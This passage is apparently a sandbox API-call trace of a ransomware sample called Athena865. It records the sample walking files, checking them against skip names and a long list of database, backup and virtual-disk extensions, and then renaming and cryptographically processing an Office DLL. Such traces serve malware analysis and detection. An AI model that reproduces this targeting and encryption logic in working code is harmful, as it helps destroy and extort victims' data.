3 [0085.414] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0085.414] lstrlenW (lpString="nnt") returned 3 [0085.414] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0085.414] lstrlenW (lpString="nrmlib") returned 6 [0085.414] lstrcmpiW (lpString1="OR.DLL", lpString2="nrmlib") returned 1 [0085.414] lstrlenW (lpString="ns2") returned 3 [0085.414] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0085.414] lstrlenW (lpString="ns3") returned 3 [0085.414] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0085.414] lstrlenW (lpString="ns4") returned 3 [0085.414] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0085.414] lstrlenW (lpString="nsf") returned 3 [0085.414] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0085.414] lstrlenW (lpString="nv") returned 2 [0085.414] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0085.415] lstrlenW (lpString="nv2") returned 3 [0085.415] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0085.415] lstrlenW (lpString="nwdb") returned 4 [0085.415] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0085.415] lstrlenW (lpString="nyf") returned 3 [0085.415] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0085.415] lstrlenW (lpString="odb") returned 3 [0085.415] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0085.415] lstrlenW (lpString="odb") returned 3 [0085.415] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0085.415] lstrlenW (lpString="oqy") returned 3 [0085.415] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0085.415] lstrlenW (lpString="ora") returned 3 [0085.415] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0085.415] lstrlenW (lpString="orx") returned 3 [0085.415] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0085.415] lstrlenW (lpString="owc") returned 3 [0085.415] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0085.415] lstrlenW (lpString="p96") returned 3 [0085.415] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0085.415] lstrlenW (lpString="p97") returned 3 [0085.415] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0085.415] lstrlenW (lpString="pan") returned 3 [0085.415] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0085.415] lstrlenW (lpString="pdb") returned 3 [0085.415] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0085.415] lstrlenW (lpString="pdm") returned 3 [0085.415] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0085.415] lstrlenW (lpString="pnz") returned 3 [0085.415] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0085.415] lstrlenW (lpString="qry") returned 3 [0085.416] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0085.416] lstrlenW (lpString="qvd") returned 3 [0085.416] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0085.416] lstrlenW (lpString="rbf") returned 3 [0085.416] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0085.416] lstrlenW (lpString="rctd") returned 4 [0085.416] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0085.416] lstrlenW (lpString="rod") returned 3 [0085.416] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0085.416] lstrlenW (lpString="rodx") returned 4 [0085.416] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0085.416] lstrlenW (lpString="rpd") returned 3 [0085.416] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0085.416] lstrlenW (lpString="rsd") returned 3 [0085.416] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0085.416] lstrlenW (lpString="sas7bdat") returned 8 [0085.416] lstrcmpiW (lpString1="CTOR.DLL", lpString2="sas7bdat") returned -1 [0085.416] lstrlenW (lpString="sbf") returned 3 [0085.416] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0085.416] lstrlenW (lpString="scx") returned 3 [0085.416] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0085.416] lstrlenW (lpString="sdb") returned 3 [0085.416] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0085.416] lstrlenW (lpString="sdc") returned 3 [0085.416] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0085.416] lstrlenW (lpString="sdf") returned 3 [0085.416] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0085.416] lstrlenW (lpString="sis") returned 3 [0085.416] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0085.416] lstrlenW (lpString="spq") returned 3 [0085.416] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0085.416] lstrlenW (lpString="te") returned 2 [0085.417] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0085.417] lstrlenW (lpString="teacher") returned 7 [0085.417] lstrcmpiW (lpString1="TOR.DLL", lpString2="teacher") returned 1 [0085.417] lstrlenW (lpString="tmd") returned 3 [0085.417] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0085.417] lstrlenW (lpString="tps") returned 3 [0085.417] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0085.417] lstrlenW (lpString="trc") returned 3 [0085.417] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0085.417] lstrlenW (lpString="trc") returned 3 [0085.417] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0085.417] lstrlenW (lpString="trm") returned 3 [0085.417] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0085.417] lstrlenW (lpString="udb") returned 3 [0085.417] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0085.417] lstrlenW (lpString="udl") returned 3 [0085.417] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0085.417] lstrlenW (lpString="usr") returned 3 [0085.417] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0085.417] lstrlenW (lpString="v12") returned 3 [0085.417] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0085.417] lstrlenW (lpString="vis") returned 3 [0085.417] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0085.417] lstrlenW (lpString="vpd") returned 3 [0085.417] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0085.417] lstrlenW (lpString="vvv") returned 3 [0085.417] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0085.417] lstrlenW (lpString="wdb") returned 3 [0085.417] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0085.417] lstrlenW (lpString="wmdb") returned 4 [0085.417] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0085.417] lstrlenW (lpString="wrk") returned 3 [0085.418] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0085.418] lstrlenW (lpString="xdb") returned 3 [0085.418] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0085.418] lstrlenW (lpString="xld") returned 3 [0085.418] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0085.418] lstrlenW (lpString="xmlff") returned 5 [0085.418] lstrcmpiW (lpString1="R.DLL", lpString2="xmlff") returned -1 [0085.418] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\SOCIALCONNECTOR.DLL.Athena865") returned 72 [0085.418] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SOCIALCONNECTOR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\socialconnector.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SOCIALCONNECTOR.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\socialconnector.dll.athena865"), dwFlags=0x1) returned 1 [0085.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SOCIALCONNECTOR.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\socialconnector.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0085.432] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2508672) returned 1 [0085.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0085.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0085.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0085.432] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0085.433] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0085.433] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0085.433] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x264a80, lpName=0x0) returned 0x17c [0085.435] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x64a80) returned 0x2d50000 [0085.481] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0085.560] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0085.577] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0085.577] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0085.577] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0085.577] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0085.577] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0085.577] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0085.577] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0085.577] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0085.577] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0085.578] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0085.578] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0085.578] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0085.578] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0085.578] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0085.581] CloseHandle (hObject=0x17c) returned 1 [0085.581] CloseHandle (hObject=0x154) returned 1 [0085.581] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0085.581] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0085.581] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0085.590] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66555a00, ftCreationTime.dwHighDateTime=0x1cacbb1, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66555a00, ftLastWriteTime.dwHighDateTime=0x1cacbb1, nFileSizeHigh=0x0, nFileSizeLow=0x8fa0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SOCIALPROVIDER.DLL", cAlternateFileName="SOCIAL~2.DLL")) returned 1 [0085.590] lstrcmpiW (lpString1="SOCIALPROVIDER.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0085.590] lstrcmpiW (lpString1="SOCIALPROVIDER.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0085.590] lstrcmpiW (lpString1="SOCIALPROVIDER.DLL", lpString2=".") returned 1 [0085.590] lstrcmpiW (lpString1="SOCIALPROVIDER.DLL", lpString2="..") returned 1 [0085.590] lstrcmpiW (lpString1="SOCIALPROVIDER.DLL", lpString2="windows") returned -1 [0085.590] lstrcmpiW (lpString1="SOCIALPROVIDER.DLL", lpString2="bootmgr") returned 1 [0085.590] lstrcmpiW (lpString1="SOCIALPROVIDER.DLL", lpString2="temp") returned -1 [0085.590] lstrcmpiW (lpString1="SOCIALPROVIDER.DLL", lpString2="pagefile.sys") returned 1 [0085.590] lstrcmpiW (lpString1="SOCIALPROVIDER.DLL", lpString2="boot") returned 1 [0085.590] lstrcmpiW (lpString1="SOCIALPROVIDER.DLL", lpString2="ids.txt") returned 1 [0085.590] lstrcmpiW (lpString1="SOCIALPROVIDER.DLL", lpString2="ntuser.dat") returned 1 [0085.590] lstrcmpiW (lpString1="SOCIALPROVIDER.DLL", lpString2="perflogs") returned 1 [0085.591] lstrcmpiW (lpString1="SOCIALPROVIDER.DLL", lpString2="MSBuild") returned 1 [0085.591] lstrlenW (lpString="SOCIALPROVIDER.DLL") returned 18 [0085.591] lstrcpyW (in: lpString1=0x241e89e, lpString2="SOCIALPROVIDER.DLL" | out: lpString1="SOCIALPROVIDER.DLL") returned="SOCIALPROVIDER.DLL" [0085.591] lstrlenW (lpString="SOCIALPROVIDER.DLL") returned 18 [0085.591] lstrlenW (lpString="Athena865") returned 9 [0085.591] lstrcmpiW (lpString1="VIDER.DLL", lpString2="Athena865") returned 1 [0085.591] lstrlenW (lpString=".dll") returned 4 [0085.591] lstrcmpiW (lpString1="SOCIALPROVIDER.DLL", lpString2=".dll") returned 1 [0085.591] lstrlenW (lpString=".lnk") returned 4 [0085.591] lstrcmpiW (lpString1="SOCIALPROVIDER.DLL", lpString2=".lnk") returned 1 [0085.591] lstrlenW (lpString=".ini") returned 4 [0085.591] lstrcmpiW (lpString1="SOCIALPROVIDER.DLL", lpString2=".ini") returned 1 [0085.591] lstrlenW (lpString=".sys") returned 4 [0085.591] lstrcmpiW (lpString1="SOCIALPROVIDER.DLL", lpString2=".sys") returned 1 [0085.591] lstrlenW (lpString="SOCIALPROVIDER.DLL") returned 18 [0085.591] lstrlenW (lpString="bak") returned 3 [0085.591] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0085.591] lstrlenW (lpString="ba_") returned 3 [0085.591] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0085.591] lstrlenW (lpString="dbb") returned 3 [0085.591] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0085.591] lstrlenW (lpString="vmdk") returned 4 [0085.591] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0085.591] lstrlenW (lpString="rar") returned 3 [0085.591] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0085.591] lstrlenW (lpString="zip") returned 3 [0085.591] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0085.591] lstrlenW (lpString="tgz") returned 3 [0085.591] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0085.591] lstrlenW (lpString="vbox") returned 4 [0085.591] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0085.591] lstrlenW (lpString="vdi") returned 3 [0085.592] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0085.592] lstrlenW (lpString="vhd") returned 3 [0085.592] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0085.592] lstrlenW (lpString="vhdx") returned 4 [0085.592] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0085.592] lstrlenW (lpString="avhd") returned 4 [0085.592] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0085.592] lstrlenW (lpString="db") returned 2 [0085.592] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0085.592] lstrlenW (lpString="db2") returned 3 [0085.592] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0085.592] lstrlenW (lpString="db3") returned 3 [0085.592] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0085.592] lstrlenW (lpString="dbf") returned 3 [0085.592] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0085.592] lstrlenW (lpString="mdf") returned 3 [0085.592] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0085.592] lstrlenW (lpString="mdb") returned 3 [0085.592] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0085.592] lstrlenW (lpString="sql") returned 3 [0085.592] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0085.592] lstrlenW (lpString="sqlite") returned 6 [0085.592] lstrcmpiW (lpString1="ER.DLL", lpString2="sqlite") returned -1 [0085.592] lstrlenW (lpString="sqlite3") returned 7 [0085.592] lstrcmpiW (lpString1="DER.DLL", lpString2="sqlite3") returned -1 [0085.592] lstrlenW (lpString="sqlitedb") returned 8 [0085.592] lstrcmpiW (lpString1="IDER.DLL", lpString2="sqlitedb") returned -1 [0085.592] lstrlenW (lpString="xml") returned 3 [0085.592] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0085.592] lstrlenW (lpString="$er") returned 3 [0085.592] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0085.592] lstrlenW (lpString="4dd") returned 3 [0085.592] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0085.593] lstrlenW (lpString="4dl") returned 3 [0085.593] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0085.593] lstrlenW (lpString="^^^") returned 3 [0085.593] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0085.593] lstrlenW (lpString="abs") returned 3 [0085.593] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0085.593] lstrlenW (lpString="abx") returned 3 [0085.593] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0085.593] lstrlenW (lpString="accdb") returned 5 [0085.593] lstrcmpiW (lpString1="R.DLL", lpString2="accdb") returned 1 [0085.593] lstrlenW (lpString="accdc") returned 5 [0085.593] lstrcmpiW (lpString1="R.DLL", lpString2="accdc") returned 1 [0085.593] lstrlenW (lpString="accde") returned 5 [0085.593] lstrcmpiW (lpString1="R.DLL", lpString2="accde") returned 1 [0085.593] lstrlenW (lpString="accdr") returned 5 [0085.593] lstrcmpiW (lpString1="R.DLL", lpString2="accdr") returned 1 [0085.593] lstrlenW (lpString="accdt") returned 5 [0085.593] lstrcmpiW (lpString1="R.DLL", lpString2="accdt") returned 1 [0085.593] lstrlenW (lpString="accdw") returned 5 [0085.593] lstrcmpiW (lpString1="R.DLL", lpString2="accdw") returned 1 [0085.593] lstrlenW (lpString="accft") returned 5 [0085.593] lstrcmpiW (lpString1="R.DLL", lpString2="accft") returned 1 [0085.593] lstrlenW (lpString="adb") returned 3 [0085.593] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0085.593] lstrlenW (lpString="adb") returned 3 [0085.593] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0085.593] lstrlenW (lpString="ade") returned 3 [0085.593] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0085.593] lstrlenW (lpString="adf") returned 3 [0085.593] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0085.593] lstrlenW (lpString="adn") returned 3 [0085.593] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0085.593] lstrlenW (lpString="adp") returned 3 [0085.593] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0085.593] lstrlenW (lpString="alf") returned 3 [0085.594] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0085.594] lstrlenW (lpString="ask") returned 3 [0085.594] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0085.594] lstrlenW (lpString="btr") returned 3 [0085.594] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0085.594] lstrlenW (lpString="cat") returned 3 [0085.594] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0085.594] lstrlenW (lpString="cdb") returned 3 [0085.594] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0085.594] lstrlenW (lpString="ckp") returned 3 [0085.594] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0085.594] lstrlenW (lpString="cma") returned 3 [0085.594] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0085.594] lstrlenW (lpString="cpd") returned 3 [0085.594] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0085.594] lstrlenW (lpString="dacpac") returned 6 [0085.594] lstrcmpiW (lpString1="ER.DLL", lpString2="dacpac") returned 1 [0085.594] lstrlenW (lpString="dad") returned 3 [0085.594] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0085.594] lstrlenW (lpString="dadiagrams") returned 10 [0085.594] lstrcmpiW (lpString1="OVIDER.DLL", lpString2="dadiagrams") returned 1 [0085.594] lstrlenW (lpString="daschema") returned 8 [0085.594] lstrcmpiW (lpString1="IDER.DLL", lpString2="daschema") returned 1 [0085.594] lstrlenW (lpString="db-journal") returned 10 [0085.594] lstrcmpiW (lpString1="OVIDER.DLL", lpString2="db-journal") returned 1 [0085.594] lstrlenW (lpString="db-shm") returned 6 [0085.594] lstrcmpiW (lpString1="ER.DLL", lpString2="db-shm") returned 1 [0085.594] lstrlenW (lpString="db-wal") returned 6 [0085.594] lstrcmpiW (lpString1="ER.DLL", lpString2="db-wal") returned 1 [0085.594] lstrlenW (lpString="dbc") returned 3 [0085.594] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0085.594] lstrlenW (lpString="dbs") returned 3 [0085.594] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0085.595] lstrlenW (lpString="dbt") returned 3 [0085.595] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0085.595] lstrlenW (lpString="dbv") returned 3 [0085.595] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0085.595] lstrlenW (lpString="dbx") returned 3 [0085.595] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0085.595] lstrlenW (lpString="dcb") returned 3 [0085.595] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0085.595] lstrlenW (lpString="dct") returned 3 [0085.595] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0085.595] lstrlenW (lpString="dcx") returned 3 [0085.595] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0085.595] lstrlenW (lpString="ddl") returned 3 [0085.595] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0085.595] lstrlenW (lpString="dlis") returned 4 [0085.595] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0085.595] lstrlenW (lpString="dp1") returned 3 [0085.595] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0085.595] lstrlenW (lpString="dqy") returned 3 [0085.595] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0085.595] lstrlenW (lpString="dsk") returned 3 [0085.595] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0085.595] lstrlenW (lpString="dsn") returned 3 [0085.595] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0085.595] lstrlenW (lpString="dtsx") returned 4 [0085.595] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0085.595] lstrlenW (lpString="dxl") returned 3 [0085.595] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0085.595] lstrlenW (lpString="eco") returned 3 [0085.595] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0085.595] lstrlenW (lpString="ecx") returned 3 [0085.595] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0085.595] lstrlenW (lpString="edb") returned 3 [0085.595] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0085.595] lstrlenW (lpString="epim") returned 4 [0085.596] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0085.596] lstrlenW (lpString="fcd") returned 3 [0085.596] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0085.596] lstrlenW (lpString="fdb") returned 3 [0085.596] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0085.596] lstrlenW (lpString="fic") returned 3 [0085.596] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0085.596] lstrlenW (lpString="flexolibrary") returned 12 [0085.596] lstrcmpiW (lpString1="PROVIDER.DLL", lpString2="flexolibrary") returned 1 [0085.596] lstrlenW (lpString="fm5") returned 3 [0085.596] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0085.596] lstrlenW (lpString="fmp") returned 3 [0085.596] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0085.596] lstrlenW (lpString="fmp12") returned 5 [0085.596] lstrcmpiW (lpString1="R.DLL", lpString2="fmp12") returned 1 [0085.596] lstrlenW (lpString="fmpsl") returned 5 [0085.596] lstrcmpiW (lpString1="R.DLL", lpString2="fmpsl") returned 1 [0085.596] lstrlenW (lpString="fol") returned 3 [0085.596] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0085.596] lstrlenW (lpString="fp3") returned 3 [0085.596] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0085.596] lstrlenW (lpString="fp4") returned 3 [0085.596] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0085.596] lstrlenW (lpString="fp5") returned 3 [0085.596] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0085.596] lstrlenW (lpString="fp7") returned 3 [0085.596] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0085.596] lstrlenW (lpString="fpt") returned 3 [0085.596] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0085.596] lstrlenW (lpString="frm") returned 3 [0085.596] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0085.596] lstrlenW (lpString="gdb") returned 3 [0085.596] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0085.596] lstrlenW (lpString="gdb") returned 3 [0085.597] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0085.597] lstrlenW (lpString="grdb") returned 4 [0085.597] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0085.597] lstrlenW (lpString="gwi") returned 3 [0085.597] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0085.597] lstrlenW (lpString="hdb") returned 3 [0085.597] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0085.597] lstrlenW (lpString="his") returned 3 [0085.597] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0085.597] lstrlenW (lpString="ib") returned 2 [0085.597] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0085.597] lstrlenW (lpString="idb") returned 3 [0085.597] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0085.597] lstrlenW (lpString="ihx") returned 3 [0085.597] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0085.597] lstrlenW (lpString="itdb") returned 4 [0085.597] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0085.597] lstrlenW (lpString="itw") returned 3 [0085.597] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0085.597] lstrlenW (lpString="jet") returned 3 [0085.597] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0085.597] lstrlenW (lpString="jtx") returned 3 [0085.597] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0085.597] lstrlenW (lpString="kdb") returned 3 [0085.597] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0085.597] lstrlenW (lpString="kexi") returned 4 [0085.597] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0085.597] lstrlenW (lpString="kexic") returned 5 [0085.597] lstrcmpiW (lpString1="R.DLL", lpString2="kexic") returned 1 [0085.597] lstrlenW (lpString="kexis") returned 5 [0085.597] lstrcmpiW (lpString1="R.DLL", lpString2="kexis") returned 1 [0085.597] lstrlenW (lpString="lgc") returned 3 [0085.597] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0085.597] lstrlenW (lpString="lwx") returned 3 [0085.598] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0085.598] lstrlenW (lpString="maf") returned 3 [0085.598] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0085.598] lstrlenW (lpString="maq") returned 3 [0085.598] lstrcmpiW 